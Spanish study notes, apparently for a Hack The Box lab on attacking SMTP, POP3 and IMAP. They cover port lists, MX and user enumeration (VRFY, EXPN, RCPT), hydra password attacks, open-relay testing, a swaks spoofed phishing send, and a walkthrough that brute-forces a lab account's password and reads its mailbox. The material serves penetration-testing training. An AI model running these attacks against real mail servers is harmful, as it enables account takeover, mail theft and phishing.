SMTP

  • SMTP: Envío de correos.
  • POP3: Descarga de correos al cliente.
  • IMAP4: Acceso a correos desde múltiples dispositivos
Puertos comunes
  • SMTP: 25 (sin cifrar), 465 y 587 (cifrados)
  • IMAP4: 143 (sin cifrar), 993 (cifrado)
  • POP3: 110 (sin cifrar), 995 (cifrado)

Enumeración (registros MX)

terminal
host -t MX hackthebox.eudig mx inlanefreight.htb

Enumeración de usuarios

terminal
telnet 10.129.14.128 25VRFY rootEXPN support-teamRCPT TO:john
Automatizado
terminal
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.14.128

Ataques a Contraseñas

terminal
$ hydra -L users.txt -p 'Password123!' 10.129.14.128 <smtp/pop3/imap4>

Misconfiguraciones Comunes (Relay Abierto)

Permite enviar correos sin autenticación, lo que facilita phishing.
terminal
$ nmap -p25 --script smtp-open-relay 10.129.14.128swaks --from fake@domain.com --to victim@domain.com --body 'Phishing link' --server 10.129.14.128

Cómo resolver la prueba

Enumerar usuarios con RCPT, encontrando marlin@inlanefreight.htb:
terminal
smtp-user-enum -M RCPT -u marlin -D inlanefreight.htb -t 10.129.21.106
Buscar la password con hydra:
terminal
$ hydra -l marlin@inlanefreight.htb -P pws.list 10.129.21.106 smtp -I# login: marlin@inlanefreight.htb   password: poohbear
Iniciar sesión en imap (puerto 143) y leer el correo:
txt
1 LOGIN marlin@inlanefreight.htb poohbear
1 SELECT INBOX
1 FETCH 1 BODY[TEXT]